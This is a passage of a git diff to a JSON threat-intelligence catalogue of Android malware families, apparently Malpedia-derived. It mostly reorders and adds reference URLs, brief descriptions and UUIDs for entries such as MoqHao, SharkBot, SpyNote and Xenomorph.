"https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware" + "https://securelist.com/mobile-malware-evolution-2019/96280/" ], "synonyms": [ "ExoBot" @@ -1841,8 +1977,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.mazarbot", - "https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/", - "https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html" + "https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html", + "https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/" ], "synonyms": [], "type": [] @@ -1855,9 +1991,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.medusa", - "https://twitter.com/ThreatFabric/status/1285144962695340032", "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html" + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", + "https://twitter.com/ThreatFabric/status/1285144962695340032" ], "synonyms": [ "Gorgona" @@ -1872,9 +2008,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.meterpreter", - "https://medium.com/@cryptax/into-android-meterpreter-and-how-the-malware-launches-it-part-2-ef5aad2ebf12", + "https://medium.com/@cryptax/locating-the-trojan-inside-an-infected-covid-19-contact-tracing-app-21e23f90fbfe", + "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", - "https://medium.com/@cryptax/locating-the-trojan-inside-an-infected-covid-19-contact-tracing-app-21e23f90fbfe" + "https://medium.com/@cryptax/into-android-meterpreter-and-how-the-malware-launches-it-part-2-ef5aad2ebf12" ], "synonyms": [], "type": [] @@ -1882,6 +2019,19 @@ "uuid": "e1ae3e4e-5aaf-4ffe-ba2f-7871507f6d52", "value": "Meterpreter (Android)" }, + { + "description": "Check Point has identified samples of this spyware being distributed since 2015. No samples were found on Google Play, meaning they were likely through other channels like social engineering.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.mobile_order", + "https://research.checkpoint.com/2022/never-truly-left-7-years-of-scarlet-mimics-mobile-surveillance-campaign-targeting-uyghurs/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ee19588f-9752-4516-85f4-de18acfc64b3", + "value": "MobileOrder" + }, { "description": "Monokle is a sophisticated mobile surveillanceware that possesses remote access trojan (RAT) functionality, advanced data exfiltration techniques as well as the ability to install an attacker-specified certificate to the trusted certificates on an infected device that would allow for man-in-the-middle (MITM) attacks.\r\nAccording to Lookout researchers, It is believed to be developed by Special Technology Center (STC), which is a Russian defense contractor sanctioned by the U.S. Government in connection to alleged interference in the 2016 US presidential elections.", "meta": { @@ -1900,20 +2050,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.moqhao", - "https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/", + "https://www.team-cymru.com/post/moqhao-part-3-recent-global-targeting-trends", "https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html", - "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", - "https://blog.sekoia.io/ongoing-roaming-mantis-smishing-campaign-targeting-france/", - "https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1", - "https://securelist.com/roaming-mantis-part-v/96250/", - "https://www.xanhacks.xyz/p/moqhao-malware-analysis", + "https://www.telekom.com/en/blog/group/article/moqhao-masters-new-tricks-1031484", "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", - "https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", - "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", "https://team-cymru.com/blog/2021/08/11/moqhao-part-1-5-high-level-trends-of-recent-campaigns-targeting-japan/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/" + "https://securelist.com/roaming-mantis-dns-changer-in-malicious-mobile-app/108464/", + "https://www.xanhacks.xyz/p/moqhao-malware-analysis", + "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", + "https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/", + "https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1", + "https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", + "https://blog.sekoia.io/ongoing-roaming-mantis-smishing-campaign-targeting-france/", + "https://securelist.com/roaming-mantis-part-v/96250/", + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", + "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf" ], "synonyms": [ "Shaoye", @@ -1950,6 +2103,20 @@ "uuid": "0a53ace4-98ae-442f-be64-b8e373948bde", "value": "MysteryBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.nexus", + "https://liansecurity.com/#/main/news/RWt_ZocBrFZDfCElFqw_/detail", + "https://www.cleafy.com/cleafy-labs/nexus-a-new-android-botnet" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fe0b4e6e-268e-4c63-a095-bf1ddff95055", + "value": "Nexus" + }, { "description": "", "meta": { @@ -1999,10 +2166,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.phantomlance", - "https://securelist.com/apt-phantomlance/96772/", - "https://securelist.com/it-threat-evolution-q2-2020/98230", "https://drive.google.com/file/d/1m0Qg8e1Len1My6ssDy6F0oQ7JdkJUkuu/view", "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://securelist.com/it-threat-evolution-q2-2020/98230", + "https://securelist.com/apt-phantomlance/96772/", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/mobile-malware-report.pdf", "https://threatvector.cylance.com/en_us/home/mobile-malware-and-apt-espionage-prolific-pervasive-and-cross-platform.html" ], @@ -2027,13 +2194,39 @@ "uuid": "ff00bbb6-6856-4cf5-adde-d1cc536dd0e2", "value": "PhoneSpy" }, + { + "description": "According to Mandiant, PINEFLOWER is an Android malware family capable of a wide range of backdoor functionality, including stealing system inform information, logging and recording phone calls, initiating audio recordings, reading SMS inboxes and sending SMS messages. The malware also has features to facilitate device location tracking, deleting, downloading, and uploading files, reading connectivity state, speed, and activity, and toggling Bluetooth, Wi-Fi, and mobile data settings.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pineflower", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a17a7c5d-0a8f-42e7-b4c9-63c258267776", + "value": "PINEFLOWER" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixpirate", + "https://www.cleafy.com/cleafy-labs/pixpirate-a-new-brazilian-banking-trojan" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cdf707bd-a8b0-4ee3-917d-a56b11f30206", + "value": "PixPirate" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixstealer", - "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/", - "https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/" + "https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/", + "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/" ], "synonyms": [ "BrazKing" @@ -2048,9 +2241,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pjobrat", - "https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ", "https://cybleinc.com/2021/06/22/android-application-disguised-as-dating-app-targets-indian-military-personnel/", - "https://labs.k7computing.com/?p=22537" + "https://labs.k7computing.com/?p=22537", + "https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ" ], "synonyms": [], "type": [] @@ -2076,8 +2269,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30", - "http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/", - "http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/" + "http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/", + "http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/" ], "synonyms": [ "Popr-d30" @@ -2125,6 +2318,20 @@ "uuid": "cdaa0a6d-3709-4e6f-8807-fff388baaba0", "value": "Rafel RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.rambleon", + "https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab", + "https://interlab.or.kr/archives/2567" + ], + "synonyms": [], + "type": [] + }, + "uuid": "41ab3c99-297c-465c-8375-3e9f7ce4b996", + "value": "RambleOn" + }, { "description": "", "meta": { @@ -2138,6 +2345,19 @@ "uuid": "65a8e406-b535-4c0a-bc6d-d1bec3c55623", "value": "Rana" }, + { + "description": "RatMilad, a newly discovered Android spyware, has been stealing data from mobile devices in the Middle East.\r\nThe malware is spread through links on social media and pretends to be applications for services like VPN and phone number spoofing. Unwary users download these trojan applications and grant access to malware. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ratmilad", + "https://socradar.io/new-spyware-ratmilad-targets-middle-eastern-mobile-devices" + ], + "synonyms": [], + "type": [] + }, + "uuid": "542c3e5e-2124-4c36-af05-65893974d5ce", + "value": "RatMilad" + }, { "description": "", "meta": { @@ -2156,8 +2376,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores", - "https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html" + "https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores" ], "synonyms": [], "type": [] @@ -2183,12 +2403,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe", - "http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html", "http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/", + "http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html", "http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html", "http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html", "https://www.govcert.admin.ch/blog/33/the-retefe-saga", - "http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html" + "http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html" ], "synonyms": [], "type": [] @@ -2228,25 +2448,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis", + "https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/", "https://securelist.com/roaming-mantis-reaches-europe/105596/", "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", - "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", - "https://securelist.com/roaming-mantis-part-v/96250/", "https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/", - "https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/" + "https://securelist.com/roaming-mantis-part-v/96250/", + "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "f35f219a-6eed-11e8-980a-93bb96299951", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "31d2ce1f-44bf-4738-a41d-ddb43466cd82", "value": "Roaming Mantis" }, @@ -2268,8 +2479,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik", - "https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java", - "https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer" + "https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer", + "https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java" ], "synonyms": [], "type": [] @@ -2291,16 +2502,18 @@ "value": "Sauron Locker" }, { - "description": "", + "description": "SharkBot is a piece of malicious software targeting Android Operating Systems (OSes). It is designed to obtain and misuse financial data by redirecting and stealthily initiating money transfers. SharkBot is particularly active in Europe (United Kingdom, Italy, etc.), but its activity has also been detected in the United States.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sharkbot", + "https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/", "https://muha2xmad.github.io/malware-analysis/sharkbot/", + "https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/", + "https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html", "https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europe", "https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", - "https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/", - "https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", - "https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/" + "https://bin.re/blog/the-dgas-of-sharkbot/", + "https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/" ], "synonyms": [], "type": [] @@ -2352,23 +2565,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo", - "https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html", - "https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html" + "https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html", + "https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html" ], "synonyms": [ "SlemBunk" ], "type": [] }, - "related": [ - { - "dest-uuid": "f8047de2-fefc-4ee0-825b-f1fae4b20c09", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d87e2574-7b9c-4ea7-98eb-88f3e139f6ff", "value": "Slempo" }, @@ -2377,8 +2581,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker", - "https://labs.bitdefender.com/2020/05/android-slocker-variant-uses-coronavirus-scare-to-take-android-hostage/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/", + "https://labs.bitdefender.com/2020/05/android-slocker-variant-uses-coronavirus-scare-to-take-android-hostage/" ], "synonyms": [], "type": [] @@ -2391,8 +2595,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsagent", - "https://blog.alyac.co.kr/2128", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/" + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/", + "https://blog.alyac.co.kr/2128" ], "synonyms": [], "type": [] @@ -2417,10 +2621,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sova", - "https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html", "https://muha2xmad.github.io/malware-analysis/sova/", - "https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly", - "https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/" + "https://blog.cyble.com/2023/03/09/nexus-the-latest-android-banking-trojan-with-sova-connections", + "https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/", + "https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html", + "https://liansecurity.com/#/main/news/RWt_ZocBrFZDfCElFqw_/detail", + "https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly" ], "synonyms": [], "type": [] @@ -2433,8 +2639,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker", - "https://news.drweb.com/show/?i=11104&lng=en", - "http://www.welivesecurity.com/2017/02/23/released-android-malware-source-code-used-run-banking-botnet/" + "http://www.welivesecurity.com/2017/02/23/released-android-malware-source-code-used-run-banking-botnet/", + "https://news.drweb.com/show/?i=11104&lng=en" ], "synonyms": [], "type": [] @@ -2460,9 +2666,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spymax", - "https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league", + "https://twitter.com/malwrhunterteam/status/1250412485808717826", + "https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions.html", "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", - "https://twitter.com/malwrhunterteam/status/1250412485808717826" + "https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league" ], "synonyms": [], "type": [] @@ -2471,21 +2678,26 @@ "value": "SpyMax" }, { - "description": "", + "description": "The malware has been released on github at https://github.com/EVLF/Cypher-Rat-Source-Code", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote", - "https://www.civilsphereproject.org/blog/2021/9/21/capturing-and-detecting-androidtester-remote-access-trojan-with-the-emergency-vpn", + "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", "https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/", - "https://labs.k7computing.com/index.php/spynote-an-android-snooper/", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan", - "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", + "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", + "https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions.html", + "https://www.bleepingcomputer.com/news/security/spynote-android-malware-infections-surge-after-source-code-leak/", + "https://labs.k7computing.com/index.php/spynote-an-android-snooper/", + "https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan", + "https://www.civilsphereproject.org/blog/2021/9/21/capturing-and-detecting-androidtester-remote-access-trojan-with-the-emergency-vpn", + "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr", "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", - "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr" + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/" + ], + "synonyms": [ + "CypherRat" ], - "synonyms": [], "type": [] }, "uuid": "31592c69-d540-4617-8253-71ae0c45526c", @@ -2529,15 +2741,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "a33df440-f112-4a5e-a290-3c65dae6091d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d99c0a47-9d61-4d92-86ec-86a87b060d76", "value": "Svpeng" }, @@ -2623,7 +2826,7 @@ "value": "ThiefBot" }, { - "description": "", + "description": "According to Trend Micro, this malware appears to have been designed to steal credentials associated with membership websites of major Japanese telecommunication services.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.tianyspy", @@ -2656,8 +2859,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan", - "https://www.alienvault.com/blogs/labs-research/delivery-keyboy", - "https://blog.lookout.com/titan-mobile-threat" + "https://blog.lookout.com/titan-mobile-threat", + "https://www.alienvault.com/blogs/labs-research/delivery-keyboy" ], "synonyms": [], "type": [] @@ -2670,16 +2873,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada", - "https://securelist.com/triada-trojan-in-whatsapp-mod/103679/", "https://arstechnica.com/information-technology/2019/06/google-confirms-2017-supply-chain-attack-that-sneaked-backdoor-on-android-devices/", "https://securelist.com/apkpure-android-app-store-infected/101845/", - "https://securelist.com/mobile-malware-evolution-2019/96280/", + "https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/", + "https://securelist.com/triada-trojan-in-whatsapp-mod/103679/", + "https://security.googleblog.com/2019/06/pha-family-highlights-triada.html", "https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/", + "https://securelist.com/mobile-malware-evolution-2019/96280/", "https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/", "http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html", - "https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/", - "https://security.googleblog.com/2019/06/pha-family-highlights-triada.html", - "https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/" + "https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/" ], "synonyms": [], "type": [] @@ -2755,12 +2958,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_005", - "https://blog.talosintelligence.com/2020/10/donot-firestarter.html", - "https://community.riskiq.com/article/6f60db72", - "https://s.tencent.com/research/report/951.html", - "https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/", "https://blogs.360.cn/post/APT-C-35_target_at_armed_forces_in_Pakistan.html", - "https://twitter.com/voodoodahl1/status/1267571622732578816" + "https://s.tencent.com/research/report/951.html", + "https://community.riskiq.com/article/6f60db72", + "https://twitter.com/voodoodahl1/status/1267571622732578816", + "https://blog.talosintelligence.com/2020/10/donot-firestarter.html", + "https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/" ], "synonyms": [], "type": [] @@ -2773,10 +2976,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_006", - "https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749", - "https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20", "https://twitter.com/ReBensk/status/1438027183490940931", - "https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/" + "https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20", + "https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/", + "https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749" ], "synonyms": [], "type": [] @@ -2815,9 +3018,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vajraspy", - "https://twitter.com/LukasStefanko/status/1509451238366236674", "https://twitter.com/malwrhunterteam/status/1481312752782258176", - "https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww" + "https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww", + "https://twitter.com/LukasStefanko/status/1509451238366236674" ], "synonyms": [], "type": [] @@ -2840,14 +3043,27 @@ "uuid": "1ad5b462-1b0d-4c2f-901d-ead6c9f227bc", "value": "vamp" }, + { + "description": "According to Mandiant, VINETHORN is an Android malware family capable of a wide range of backdoor functionality. It can steal system information, read SMS inboxes, send SMS messages, access contact lists and call histories, record audio and video, and track device location via GPS.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vinethorn", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6da6dfb6-2c50-465c-9394-26695d72e8c7", + "value": "VINETHORN" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat", - "https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/", "https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/", - "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf" + "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf", + "https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/" ], "synonyms": [], "type": [] @@ -2860,6 +3076,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vultur", + "https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud", + "https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html", "https://www.threatfabric.com/blogs/vultur-v-for-vnc.html", "https://twitter.com/_icebre4ker_/status/1485651238175846400" ], @@ -2877,9 +3095,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex", "https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/", - "https://therecord.media/turkish-national-charged-for-ddos-attacks-with-the-wirex-botnet/", "https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/", - "https://www.justice.gov/usao-ndil/pr/federal-indictment-chicago-charges-turkish-national-directing-cyber-attack" + "https://www.justice.gov/usao-ndil/pr/federal-indictment-chicago-charges-turkish-national-directing-cyber-attack", + "https://therecord.media/turkish-national-charged-for-ddos-attacks-with-the-wirex-botnet/" ], "synonyms": [], "type": [] @@ -2906,8 +3124,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.wroba", - "https://securelist.com/roaming-mantis-reaches-europe/105596/", - "https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan" + "https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan", + "https://securelist.com/roaming-mantis-reaches-europe/105596/" ], "synonyms": [], "type": [] @@ -2920,8 +3138,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot", - "https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/", - "https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/" + "https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/", + "https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/" ], "synonyms": [], "type": [] @@ -2930,12 +3148,16 @@ "value": "Xbot" }, { - "description": "", + "description": "Xenomorph is a Android Banking RAT developed by the Hadoken.Security actor.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xenomorph", "https://www.threatfabric.com/blogs/xenomorph-a-newly-hatched-banking-trojan.html", - "https://cryptax.medium.com/unpacking-a-jsonpacker-packed-sample-4038e12119f5" + "https://www.threatfabric.com/blogs/xenomorph-v3-new-variant-with-ats.html", + "https://www.threatfabric.com/blogs/zombinder-ermac-and-desktop-stealers.html", + "https://www.threatfabric.com/blogs/bugdrop-new-dropper-bypassing-google-security-measures.html", + "https://cryptax.medium.com/unpacking-a-jsonpacker-packed-sample-4038e12119f5", + 